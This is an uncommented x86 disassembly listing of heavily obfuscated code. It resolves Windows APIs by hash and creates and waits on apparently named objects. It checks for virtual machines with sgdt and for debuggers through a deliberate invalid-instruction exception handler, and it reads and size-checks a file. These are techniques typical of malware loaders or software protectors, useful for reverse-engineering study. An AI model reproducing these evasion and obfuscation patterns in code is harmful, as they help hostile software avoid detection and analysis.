mov byte [ebp + 0x16782ed1], 0x43
push 0xbc907028
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x167b352b], eax
mov byte [ebp + 0x16782ed1], 0x4c
push 0xd9da1ce9
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16782591], eax
mov byte [ebp + 0x16782ed1], 0x46
push 0xbade0614
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16782f9c], eax
mov byte [ebp + 0x16782ed1], 0x47
push 0x8a0fb5e2
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16782763], eax
mov byte [ebp + 0x16782ed1], 0x47
push 0x83d0b5f3
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16782ee9], eax
mov byte [ebp + 0x16782ed1], 0x77
push 0xf397a8a3
push dword [ebp + 0x16783167]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16782f8f], eax
mov byte [ebp + 0x16782ed1], 0x47
push 0x8728faf6
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x1678311f], eax
mov byte [ebp + 0x16782ed1], 0x43
push 0xbc8e6efc
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x167b73fb], eax
mov byte [ebp + 0x16782ed1], 0x45
push 0x8e726969
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16781c12], eax
mov byte [ebp + 0x16782ed1], 0x44
push 0xb8f2ec64
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x167b3745], eax
push 0xcee4e7b8
push dword [ebp + 0x16781bc4]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x167b736d], eax
mov byte [ebp + 0x16782ed1], 0x43
push 0xc0764aa7
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x167b73f1], eax
mov byte [ebp + 0x16782ed1], 0x56
push 0xd41f6d39
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x167828e3], eax
mov byte [ebp + 0x16782ed1], 0x53
push 0xfcb148d8
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
mov dword [ebp + 0x16782cbf], eax
cmp byte [ebp + 0x167bd9fd], 0
je 0xf6896c
lea eax, [ebp + 0x167bd9df]
push 0x6bfc
mov dword [esp], eax
push 1
push 0
push 0
call dword [ebp + 0x167b352b]
mov dword [ebp + 0x16781bfe], eax
push 0xffffffffffffffff
push dword [ebp + 0x16781bfe]
call dword [ebp + 0x16781c59]
sub esp, 4
mov dword [esp], ebp
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
mov ebp, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], ecx
mov dword [esp], ebx
mov ebx, 0x56361337
sub ebx, 0x56361333
add ebp, ebx
mov ebx, dword [esp]
push edi
push esp
pop edi
add edi, 4
push ebp
push eax
push 0x140855b2
pop eax
and eax, 0x2d064f45
sub eax, 0x40044fc
mov ebp, eax
pop eax
add edi, ebp
mov ebp, dword [esp]
add esp, 4
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
pop esp
sub ebp, 4
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
pop esp
mov dword [esp], eax
mov eax, dword [esp]
add esp, 4
cmp dword [ebp + 0x1678279f], 0
jne 0xf68a02
cmp dword [ebp + 0x167825c3], 0
je 0xf68a17
push eax
mov eax, eax
mov eax, 0x7d1
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push 0x2665
mov dword [esp], ecx
push ecx
push esp
push dword [esp]
pop ecx
add esp, 4
push ebx
mov ebx, 0x47683c8c
inc ebx
shl ebx, 3
dec ebx
shr ebx, 6
or ebx, 0x281a2d94
sub ebx, 0x28ff2f91
sub ecx, 0x2d954c5a
add ecx, ebx
add ecx, 0x2d954c5a
pop ebx
sub ecx, 4
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
pop esp
mov dword [esp], ebx
mov ebx, eax
push edx
mov edx, ebx
mov ecx, edx
push dword [esp]
pop edx
push ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
add ebx, eax
pop eax
xchg dword [esp], ebx
pop esp
push dword [esp]
pop ebx
add esp, 4
push 0x5c93
mov dword [esp], ecx
add dword [esp], 0x61e642dc
pop eax
sub eax, 0x61e642dc
pop ecx
mov byte [ebp + 0x16782ed1], 0x47
push 0x93c8f7c1
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
push 0x27fe
mov dword [esp], eax
lea eax, [ebp + 0x167bde4e]
push edx
mov edx, 0
sub esp, 4
mov dword [esp], ebp
mov ebp, 0x3506548
add ebp, 0x35f0193e
dec ebp
push edi
mov edi, 0x7bee77b5
or ebp, edi
mov edi, dword [esp]
add esp, 4
not ebp
inc ebp
xor ebp, 0x633c3269
push eax
push esi
mov esi, 0x9751ca0f
mov eax, esi
pop esi
xor ebp, eax
pop eax
add edx, 0x7a790ebd
add edx, ebp
sub edx, 0x7a790ebd
pop ebp
add edx, eax
sub edx, 0x707c782d
push ecx
mov dword [esp], eax
push 0x17eb38a8
mov eax, dword [esp]
add esp, 4
push 0x2e3c
mov dword [esp], edi
mov edi, 0x2dc81342
push eax
mov dword [esp], edx
mov edx, 0x61c13526
or edi, edx
pop edx
push ecx
mov ecx, 0x3890269
or edi, ecx
mov ecx, dword [esp]
add esp, 4
shr edi, 2
and edi, 0x7bdc6618
not edi
sub edi, 0xcc4483d3
sub eax, edi
pop edi
mov dword [edx], eax
pop eax
mov edx, dword [esp]
add esp, 4
push dword [esp]
push dword [esp]
mov eax, dword [esp]
add esp, 4
push eax
push esp
pop eax
push edi
mov edi, 0x79f81bbf
xor edi, 0x59164eab
sub edi, 0x20ee5510
add eax, edi
pop edi
push edi
push eax
mov eax, 0x764d616d
mov edi, 0xe1ff9eb4
add edi, eax
pop eax
add edi, 0xa7b2ffe3
add eax, edi
mov edi, dword [esp]
add esp, 4
xchg dword [esp], eax
pop esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
push 0x12a
mov dword [esp], edx
push dword [esp + 4]
mov edx, dword [esp]
add esp, 4
pop dword [esp]
pop esp
mov dword [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
mov esp, dword [esp]
lea esi, [ebp + 0x167bde4e]
push 0x103c
mov dword [esp], edx
push esp
mov edx, dword [esp]
add esp, 4
push 0x4323
mov dword [esp], ebp
push esi
push 0x7d502d06
pop esi
dec esi
not esi
inc esi
push ebp
mov ebp, 0x1f0a3ce4
sub esi, ebp
pop ebp
xor esi, 0x63a59613
mov ebp, esi
pop esi
sub edx, 0x440d344c
push esi
mov esi, 0x656f2f74
dec esi
neg esi
add esi, 0xcc8e3a98
add edx, esi
pop esi
add edx, 0x6ce70fdc
add edx, ebp
sub edx, 0x6ce70fdc
sub edx, 0x671f0b25
add edx, 0x440d344c
pop ebp
push 0x3004
mov dword [esp], edi
mov edi, 0x35ee3c22
push ebx
mov ebx, 0x779603f0
xor ebx, 0x7a2f4162
neg ebx
neg ebx
neg ebx
or ebx, 0x5ecf702d
xor ebx, 0x34de3e8d
add edi, ebx
mov ebx, dword [esp]
add esp, 4
sub edx, edi
pop edi
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
pop esp
mov dword [esp], esi
call eax
lea eax, [ebp + 0x167bde4e]
mov dword [ebp + 0x167b7fb1], eax
cmp dword [eax + 4], 5
jne 0xf68cf1
cmp dword [eax + 8], 2
jne 0xf68cf1
cmp byte [eax + 0x14], 0
jne 0xf68cf1
mov byte [ebp + 0x167bda24], 0
mov dword [ebp + 0x1678011d], 0
cmp dword [eax + 4], 6
jne 0xf68d05
mov dword [ebp + 0x16782873], 1
cmp dword [ebp + 0x167807f5], 0
jne 0xf68d36
cmp dword [ebp + 0x16782873], 0
jne 0xf68d36
cmp dword [ebp + 0x1678022d], 0
je 0xf68d36
mov dword [ebp + 0x167811b5], 0
mov bx, ds
test bl, 4
je 0xf6ac61
mov bx, ds
cmp bx, 0x1f
jne 0xf6a6e8
jmp 0xf6ac61
push esi
push 1
pop esi
push 0x57dc
mov dword [esp], ecx
mov ecx, 0x584c2de9
sub eax, 0x57a867be
add eax, ecx
add eax, 0x57a867be
mov ecx, dword [esp]
add esp, 4
sub eax, 0x6a4f1c02
sub eax, 0x24fd2775
sub eax, 0x434319f7
add eax, esi
add eax, 0x434319f7
add eax, 0x24fd2775
add eax, 0x6a4f1c02
push esi
mov dword [esp], ebx
mov ebx, 0x4fe7ad3
not ebx
inc ebx
push ecx
mov ecx, 0x69d911d2
xor ebx, ecx
pop ecx
or ebx, 0x447b18b3
push eax
mov eax, 0x6ff13473
or ebx, eax
mov eax, dword [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
push dword [esp + 4]
pop eax
pop dword [esp]
pop esp
sub ebx, 0xa7af8f16
sub eax, 0x31811dcf
sub eax, ebx
add eax, 0x31811dcf
pop ebx
mov esi, dword [esp]
add esp, 4
jmp 0xf6b89c
mov dword [ebp + 0x167bceb9], eax
push dword [ebp + 0x167bceb9]
call dword [ebp + 0x16781a9e]
test eax, eax
jne 0xf68e0f
push 0x10
cmp dword [ebp + 0x16782827], 0
je 0xf6b50e
lea eax, [ebp + 0x167bcf12]
jmp 0xf6b514
cmp dword [ebp + 0x16781099], 0
jne 0xf68e55
push eax
sgdt [esp - 2]
pop eax
shr eax, 0x18
cmp eax, 0xff
jne 0xf68e55
mov dword [ebp + 0x16782717], 1
push 0x4643
mov dword [esp], ecx
mov dword [esp], edx
sub esp, 4
mov dword [esp], eax
pop edx
push esi
mov dword [esp], edx
pop eax
push dword [esp]
pop edx
push 0x664b
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
mov dword [esp], edi
sub esp, 4
mov dword [esp], eax
mov dword [esp], edx
mov edx, 0x71195a93
mov edi, 0x71195a97
sub edi, edx
pop edx
sub ebp, 0x2a017991
add ebp, edi
add ebp, 0x2a017991
mov edi, dword [esp]
add esp, 4
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
mov esp, dword [esp]
cmp dword [ebp + 0x1678279f], 0
jne 0xf68ed5
cmp dword [ebp + 0x167825c3], 0
je 0xf68eea
push eax
mov eax, eax
mov eax, 0x43d
mov dword [ebp + 0x16781bdb], eax
call dword [ebp + 0x167821c8]
pop eax
push eax
push esp
pop eax
add eax, 4
sub eax, 4
sub esp, 4
mov dword [esp], ebp
mov dword [esp], eax
push dword [esp + 4]
push dword [esp]
pop eax
add esp, 4
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
sub esp, 4
mov dword [esp], eax
mov eax, 0x43e96f91
add dword [esp + 4], eax
mov eax, dword [esp]
add esp, 4
push dword [esp]
pop eax
push 0x5fb2
mov dword [esp], esi
push esp
pop esi
push ebp
mov ebp, 4
add esi, ebp
mov ebp, dword [esp]
add esp, 4
add esi, 4
xchg dword [esp], esi
pop esp
sub eax, 0x43e96f91
lea eax, [ebp + 0x167bdf05]
push 0x7fff
mov dword [esp], eax
call dword [ebp + 0x16782591]
push 0x5771
mov dword [esp], eax
push esi
push 0x386f
mov dword [esp], ecx
mov ecx, 0x44be579d
push ecx
mov ecx, 0xa9da69b8
mov esi, ecx
pop ecx
sub esp, 4
mov dword [esp], edx
mov edx, 0x6ed558ef
add esi, edx
pop edx
add esi, 0x68f34e0c
sub esi, ecx
sub esi, 0x68f34e0c
sub esi, 0x6ed558ef
pop ecx
xor dword [esp + 4], esi
push dword [esp]
pop esi
push ecx
push esp
pop ecx
push ebx
mov ebx, 0x79ff1b75
neg ebx
sub ebx, 0x2c0f41d2
sub ebx, 0x464320f2
shl ebx, 2
dec ebx
add ebx, 0xb145f8e9
add ecx, ebx
pop ebx
push esi
mov esi, 4
add ecx, esi
pop esi
xor ecx, dword [esp]
xor dword [esp], ecx
xor ecx, dword [esp]
mov esp, dword [esp]
mov ebx, dword [esp]
add esp, 4
push ecx
mov ecx, 0x20831f9
add ecx, 0x3a594453
and ecx, 0x3ea55b3b
inc ecx
dec ecx
or ecx, 0x35752d58
add ecx, 0x27a692c3
xor ebx, ecx
pop ecx
lea eax, [ebp + 0x167bdef9]
push 0x7f7a
mov dword [esp], eax
push esi
mov esi, esp
push ebp
sub esp, 4
mov dword [esp], ecx
sub esp, 4
mov dword [esp], edi
push 0x20c2
mov dword [esp], ebx
push edx
mov edx, 0x554e5898
push esi
mov esi, 0x12ba3100
and edx, esi
pop esi
and edx, 0xacf7574
inc edx
neg edx
push ecx
mov ecx, 0x5c565547
xor ecx, 0xc14cbc7b
sub edx, ecx
pop ecx
mov ebx, edx
pop edx
mov edi, ebx
pop ebx
shr edi, 2
add edi, 0x466fac5f
sub edi, 0xea8aee14
push ebp
push edi
push esi
mov esi, 0x4fee7e83
add dword [esp + 4], esi
pop esi
mov ebp, dword [esp]
add esp, 4
sub ebp, 0x4fee7e83
push edx
mov edx, ebp
mov ecx, edx
pop edx
pop ebp
pop edi
push edi
push 0x323e0ecb
pop edi
shl edi, 2
sub edi, 0x545cbb2d
mov ebp, edi
pop edi
xor ebp, ecx
pop ecx
add esi, ebp
pop ebp
sub esi, 4
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
pop esp
mov dword [esp], ebx
call dword [ebp + 0x16782763]
mov dword [ebp + 0x167831c5], eax
lea eax, [ebp + 0x167c0e19]
mov dword [ebp + 0x16783188], eax
call dword [ebp + 0x167831c5]
push 0x379e
mov dword [esp], eax
push dword [esp]
mov ebx, dword [esp]
push edi
mov dword [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
push 0x2fbe
mov dword [esp], edx
mov edx, esp
add edx, 4
push ebx
mov dword [esp], ecx
push 0x999
mov dword [esp], ebx
push 0x4756
mov dword [esp], esi
mov esi, 0x5d9c7fa1
xor esi, 0x6ca37203
shr esi, 7
dec esi
shl esi, 5
dec esi
xor esi, 0x39c0cff9
mov ebx, esi
pop esi
mov ecx, 0xca70f33e
add ecx, ebx
pop ebx
sub edx, 0x20982b84
add edx, 0x291d3e48
add edx, ecx
sub edx, 0x291d3e48
push ecx
mov ecx, 0x20982b84
add edx, ecx
pop ecx
pop ecx
push edx
push dword [esp + 4]
pop edx
pop dword [esp]
pop esp
xor esi, esi
cmp esi, 0xa
je 0xf68d54
push 0x7a6c
mov dword [esp], ecx
call dword [ebp + 0x167831c5]
push dword [esp]
mov ecx, dword [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
push edi
push edx
mov edx, 4
push ebp
mov ebp, edx
mov edi, ebp
mov ebp, dword [esp]
add esp, 4
push dword [esp]
pop edx
add esp, 4
sub esp, 4
mov dword [esp], edi
mov edi, 0x151e4a98
and edi, 0x2d0e4fc6
and edi, 0x1fd24994
sub edi, 0x64303101
add edi, 0xa9e9368d
shl edi, 5
shl edi, 8
neg edi
push eax
push 0x7c4414be
pop eax
shr eax, 5
xor eax, 0xf7e0cfc3
xor edi, eax
mov eax, dword [esp]
add esp, 4
add ebx, edi
pop edi
add ebx, 0xabd4b07
add ebx, edi
sub ebx, 0xabd4b07
push ebp
mov ebp, 0x3bd52bf
dec ebp
shr ebp, 4
xor ebp, 0x72f13c46
sub ebp, 0x108e7a07
sub ebx, ebp
pop ebp
pop edi
xchg dword [esp], ebx
mov esp, dword [esp]
cmp ebx, eax
je 0xf693b6
push eax
mov ebx, dword [esp]
push ecx
mov ecx, esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
mov esp, dword [esp]
mov dword [esp], ebp
mov ebp, 0x29732b4a
push ebx
push ecx
mov dword [esp], edx
push 0x58577e6f
pop edx
neg edx
push edi
mov edi, 0x34141817
add edi, 0xcbf364c
add edi, 0xc3e2673
shr edi, 1
and edi, 0x6d15037
or edi, 0x136712de
xor edi, 0x2e60712a
sub edx, edi
pop edi
mov ebx, edx
pop edx
or ebp, ebx
pop ebx
shl ebp, 2
push ebx
mov ebx, 0x4233000c
add ebp, ebx
pop ebx
add ecx, 0x4db03fe8
push edx
mov dword [esp], esi
mov esi, 0x36444c75
and esi, 0x4f916226
shl esi, 3
push eax
mov eax, 0xa8b7788
and esi, eax
pop eax
xor esi, 0x32cd49fd
sub ecx, 0x3774044e
sub ecx, esi
add ecx, 0x3774044e
pop esi
add ecx, ebp
add ecx, 0x32cf48fd
sub ecx, 0x4db03fe8
pop ebp
add ecx, 4
push ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
mov esp, dword [esp]
push eax
push 0x275c6c8f
pop eax
dec eax
xchg ecx, eax
not ecx
xchg ecx, eax
add eax, 0x7c284e65
xor eax, 0x54cbe1d7
sub esi, 0x164f1ad4
add esi, 0x7af31793
add esi, eax
sub esi, 0x7af31793
push ebx
mov ebx, 0x68b76276
sub ebx, 0x526847a2
add esi, 0x543d6dda
add esi, ebx
sub esi, 0x543d6dda
pop ebx
push dword [esp]
pop eax
push eax
mov eax, esp
push esi
push edi
mov edi, 0x1395113f
push edx
mov edx, edi
mov esi, edx
mov edx, dword [esp]
add esp, 4
pop edi
sub esi, 0xffffffff
neg esi
not esi
sub esi, 0x1001780a
shl esi, 3
add esi, 0xe363365c
sub eax, 0x25272c04
add eax, esi
push ecx
mov ecx, 0x28a34cd0
sub ecx, 0x543c0955
not ecx
neg ecx
sub ecx, 0x23e85d68
add ecx, 0x74a845f0
add eax, 0x6c615887
add eax, ecx
sub eax, 0x6c615887
pop ecx
pop esi
add eax, 4
xchg dword [esp], eax
pop esp
nop
jmp 0xf6917d
jmp 0xf6a954
mov byte [ebp + 0x16782ed1], 0x47
push 0xe3e45b86
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
push 0x104
lea ebx, [ebp + 0x16780341]
push 0x5ffc
mov dword [esp], ecx
mov dword [esp], ebx
call eax
lea eax, [ebp + 0x16780341]
push 0x1e4
mov dword [esp], eax
lea eax, [ebp + 0x167bd9bc]
push eax
mov dword [esp], ecx
mov ecx, esp
push 0x13d3
mov dword [esp], ebp
mov ebp, 0x65430bc2
shr ebp, 8
push edx
mov edx, 0x40e5d73
xchg edx, edi
dec edi
xchg edx, edi
add edx, 0x7df54f26
push ebp
mov ebp, 0x23f62807
or edx, ebp
pop ebp
sub edx, 0xa3926990
xor ebp, edx
mov edx, dword [esp]
add esp, 4
add ecx, 0x77707042
add ecx, ebp
sub ecx, 0x77707042
pop ebp
sub ecx, 4
push 0x15d9
mov dword [esp], ecx
push dword [esp + 4]
mov ecx, dword [esp]
push edi
push esp
pop edi
push ebp
mov dword [esp], ebx
push 4
pop ebx
sub edi, 0x350d41ec
add edi, ebx
add edi, 0x350d41ec
pop ebx
add edi, 4
xchg dword [esp], edi
pop esp
pop dword [esp]
pop esp
mov dword [esp], ecx
mov dword [esp], eax
lea eax, [ebp + 0x167bd08f]
push 0x3ded
mov dword [esp], ebp
mov dword [esp], eax
call dword [ebp + 0x16782f8f]
push 0x5dd6
mov dword [esp], ecx
push esp
mov ecx, dword [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
push 0x3d5c
mov dword [esp], esi
mov esi, 4
add ecx, esi
pop esi
push edx
push edi
mov edi, 0xc
mov edx, edi
mov edi, dword [esp]
add esp, 4
add ecx, edx
mov edx, dword [esp]
add esp, 4
push eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
sub eax, 4
xchg dword [esp], eax
pop esp
mov dword [esp], ecx
push dword [esp + 4]
push dword [esp]
pop ecx
push edi
mov edi, esp
push eax
mov eax, 0x73704f08
neg eax
shr eax, 1
sub eax, 0x6ff7101a
dec eax
sub eax, 0xd650c85d
add edi, eax
pop eax
push eax
mov eax, 4
add edi, eax
pop eax
xchg dword [esp], edi
pop esp
pop dword [esp]
pop esp
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [ebp + 0x167bd08f]
push eax
call dword [ebp + 0x167b73fb]
mov dword [ebp + 0x167bd99f], eax
mov byte [ebp + 0x16782ed1], 0x47
push 0xc7b15e87
push dword [ebp + 0x16780469]
call dword [ebp + 0x16782dc4]
push 0
push dword [ebp + 0x167bd99f]
call eax
cmp eax, 0x37d0
jae 0xf6b720
push dword [ebp + 0x167bd99f]
call dword [ebp + 0x167b73f1]
jmp 0xf6b75b
lea eax, [ebp + 0x167bcee8]
push 0x6dd4
mov dword [esp], ebp
mov dword [esp], eax
push 0x4a46
mov dword [esp], edx
mov edx, esp
push esi
mov esi, 4
push ebx
mov ebx, 0x7e5517aa
add ebx, 0x61fd1e3b
neg ebx
add ebx, 0x45cd144a
add ebx, 0x20570ed3
sub ebx, 0x82c06f45
sub edx, ebx
mov ebx, dword [esp]
add esp, 4
add edx, 0x1b583185
add edx, esi
sub edx, 0x1b583185
add edx, 0x3117df3
push dword [esp]
pop esi
add esp, 4
push ebx
push 0x5b45
mov dword [esp], esi
push 0x11846aea
mov esi, dword [esp]
add esp, 4
sub esi, 0x49b15144
sub esi, 0xc7d319a2
mov ebx, esi
pop esi
sub edx, ebx
pop ebx
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
mov esp, dword [esp]
mov dword [esp], esi
mov dword [esp], ecx
mov dword [esp], edi
mov dword [esp], eax
push dword [ebp + 0x167bceb5]
call dword [ebp + 0x167bcea1]
test eax, eax
jne 0xf68df5
jmp 0xf68e0f
lea eax, [ebp + 0x167bfc38]
push 0x1728
mov dword [esp], eax
push dword fs:[0]
mov dword fs:[0], esp
xor ebx, ebx
xor eax, eax
inc eax
invalid
jmp 0xf6b56b
cmp dword [ebp + 0x16782827], 0
jne 0xf696f2
lea eax, [ebp + 0x167bd9d4]
push 0x78e3
mov dword [esp], eax
push 1
push 0
push 0
call dword [ebp + 0x167b352b]
mov dword [ebp + 0x167bd9fe], eax
push 0xffffffffffffffff
push dword [ebp + 0x167bd9fe]
call dword [ebp + 0x16781c59]
lea eax, [ebp + 0x167bce13]
sub esp, 4
mov dword [esp], ebp
push 0x3a78
mov dword [esp], esp
add dword [esp], 4
pop ebp
push ebx
push esi
mov esi, 0x3f4e5322
mov ebx, 0x42ea62bd
xor ebx, esi
pop esi
neg ebx
add ebx, 0x3c5e4a0d
xor ebx, 0xbeba186a
sub ebp, 0x44a320a4
add ebp, ebx
add ebp, 0x44a320a4
mov ebx, dword [esp]
add esp, 4
push edx
push ebx
push 0x45fa791e
pop ebx
sub ebx, 0x44d106d6
sub ebx, 0x2ca01f00
add ebx, 0x643b426d
xor ebx, 0x38c495b1
mov edx, ebx
pop ebx
push edx
mov edx, 0x1c9c22bb
not edx
xor edx, 0xee8ccabd
sub ebp, edx
pop edx
add ebp, 0x46525723
sub ebp, edx
push esi
mov esi, 0x46525723
sub ebp, esi
mov esi, dword [esp]
add esp, 4
push ecx
mov ecx, 0x3dd186b
neg ecx
neg ecx
add ecx, 0xa11ff8e
add ebp, ecx
pop ecx
mov edx, dword [esp]
add esp, 4
push 0x5d99
mov dword [esp], ebp
push dword [esp + 4]
pop ebp
pop dword [esp]
pop esp
mov dword [esp], eax
call dword [ebp + 0x16782591]
mov dword [ebp + 0x167bce9d], eax
lea eax, [ebp + 0x167bce20]
push 0x78b9
mov dword [esp], eax
push dword [ebp + 0x167bce9d]
call dword [ebp + 0x16782763]
mov dword [ebp + 0x16783001], eax
lea eax, [ebp + 0x167bce8e]
push 0x5387
mov dword [esp], eax
push dword [ebp + 0x167bce9d]
call dword [ebp + 0x16782763]
mov dword [ebp + 0x167bceb1], eax
lea eax, [ebp + 0x167bce6d]
sub esp, 4
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
push 0x7bdc
mov dword [esp], edx
push ecx
mov dword [esp], edi
mov edi, 0x2ed61b7d
xchg edi, ebp
xchg ebp, edi
not edi
xchg ebp, edi
xchg edi, ebp
not edi
push edx
mov edx, 0x39325741
or edi, edx
pop edx
push ecx
mov ecx, 0x326e454f
or edi, ecx
mov ecx, dword [esp]
add esp, 4
sub edi, 0x3ffe5f7b
sub esp, 0x74e03e93
mov dword [esp], edi
xor dword [esp], 0x4bb9770a
pop edx
xor edx, 0x4bb9770a
mov edi, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
sub ebp, edx
push dword [esp]
pop edx
add esp, 4
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
pop esp
mov dword [esp], ebx
mov dword [esp], eax
push dword [ebp + 0x167bce9d]
call dword [ebp + 0x16782763]
mov dword [ebp + 0x167bcea9], eax
lea eax, [ebp + 0x167bce60]
push 0x7d7a
mov dword [esp], eax
push dword [ebp + 0x167bce9d]
call dword [ebp + 0x16782763]
mov dword [ebp + 0x167bcead], eax
lea eax, [ebp + 0x167bce7b]
push ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
pop esp
mov dword [esp], edx
push esp
pop dword [esp]
push ebx
mov ebx, 4
sub dword [esp + 4], 0x39230e18
push esi
mov esi, 0x26cc1b44
add dword [esp + 8], esi
pop esi
add dword [esp + 4], ebx
sub dword [esp + 4], 0x26cc1b44
add dword [esp + 4], 0x39230e18
pop ebx
mov ebx, dword [esp]
add esp, 4
push eax
mov eax, 4
sub ebx, 0x66d43852
add ebx, 0x1c5356cd
add ebx, eax
sub ebx, 0x1c5356cd
add ebx, 0x66d43852
mov eax, dword [esp]
add esp, 4
sub ebx, 4
push ebx
push dword [esp + 4]
pop ebx
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push dword [ebp + 0x167bce9d]
call dword [ebp + 0x16782763]
mov dword [ebp + 0x16781a9e], eax
lea eax, [ebp + 0x167bce2f]
push 0x18bd
mov dword [esp], eax
push dword [ebp + 0x167bce9d]
call dword [ebp + 0x16782763]
mov dword [ebp + 0x167bcea1], eax
lea eax, [ebp + 0x167bce3e]
sub esp, 4
mov dword [esp], ecx
mov dword [esp], eax
push esp
pop eax
add eax, 4
push ebp
push 4
pop ebp
sub eax, ebp
mov ebp, dword [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
push esi
mov esi, 0x6a1c7d3e
xor esi, 0x36a5cee
shl esi, 1
sub esi, 0xd2ec439c
sub ebx, esi
pop esi
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
pop esp
mov dword [esp], eax
push dword [esp + 4]
mov eax, dword [esp]
push edx
mov edx, esp
push esi
mov esi, 4
add edx, esi
mov esi, dword [esp]
add esp, 4
add edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
pop dword [esp]
pop esp
mov dword [esp], edx
mov dword [esp], edi
mov dword [esp], eax
push dword [ebp + 0x167bce9d]
call dword [ebp + 0x16782763]
mov dword [ebp + 0x167bcea5], eax
push 0x104
lea eax, [ebp + 0x167bcf31]
sub esp, 4
mov dword [esp], eax
mov eax, esp
push edi
push eax
mov dword [esp], ebp
mov ebp, 0x24fa6ed3
shr ebp, 8
shl ebp, 3
sub ebp, 0x67eb4c75
shr ebp, 4
not ebp
inc ebp
xor ebp, 0xf66c3795
push ebp
push esi
mov dword [esp], edx
mov edx, 0x416e19e8
add dword [esp + 4], edx
mov edx, dword [esp]
add esp, 4
mov edi, dword [esp]
add esp, 4
sub edi, 0x416e19e8
pop ebp
add eax, edi
mov edi, dword [esp]
add esp, 4
push ebx
mov dword [esp], ebp
mov ebp, 4
sub eax, ebp
mov ebp, dword [esp]
add esp, 4
push 0x3dac
mov dword [esp], eax
push dword [esp + 4]
pop eax
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], ebx
mov dword [esp], eax
lea eax, [ebp + 0x167bd035]
push 0x10ea
mov dword [esp], eax
call dword [ebp + 0x16782ee9]
test eax, eax
jne 0xf69ae7
cmp byte [ebp + 0x167bda24], 0
jne 0xf6b869
jmp 0xf6a099
push 0x6046
mov dword [esp], eax
push 0x3461
mov dword [esp], edx
mov dword [esp], edi
mov edi, 0x67e23244
add dword [esp + 4], edi
mov edi, dword [esp]
add esp, 4
mov eax, dword [esp]
push esi
push esp
mov esi, dword [esp]
add esp, 4
push edx
mov edx, 4
add esi, edx
push dword [esp]
pop edx
add esp, 4
push eax
mov eax, 4
add esi, eax
pop eax
xchg dword [esp], esi
pop esp
sub esp, 4
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], ecx
push ebp
mov ebp, 0x1df1406b
mov ecx, 0x30aeff14
add ecx, ebp
pop ebp
add ecx, 0x1941f2c5
add eax, 0x3f2822b1
sub eax, ecx
sub eax, 0x3f2822b1
pop ecx
cmp dword [ebp + 0x1678279f], 0
jne 0xf69b8d
cmp dword [ebp + 0x167825c3], 0
je 0xf69ba2
push eax
mov eax, eax
mov eax, 0x7dd
mov dword [ebp + 0x16782031], eax
call dword [ebp + 0x16782eee]
pop eax
push ecx
mov dword [esp], eax
push dword [esp]
push dword [esp]
mov eax, dword [esp]
add esp, 4
push esi
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
mov esi, dword [esp]
add esp, 4
add esi, 4
add esi, 4
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
mov esp, dword [esp]
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
pop esp
mov dword [esp], eax
mov eax, 4
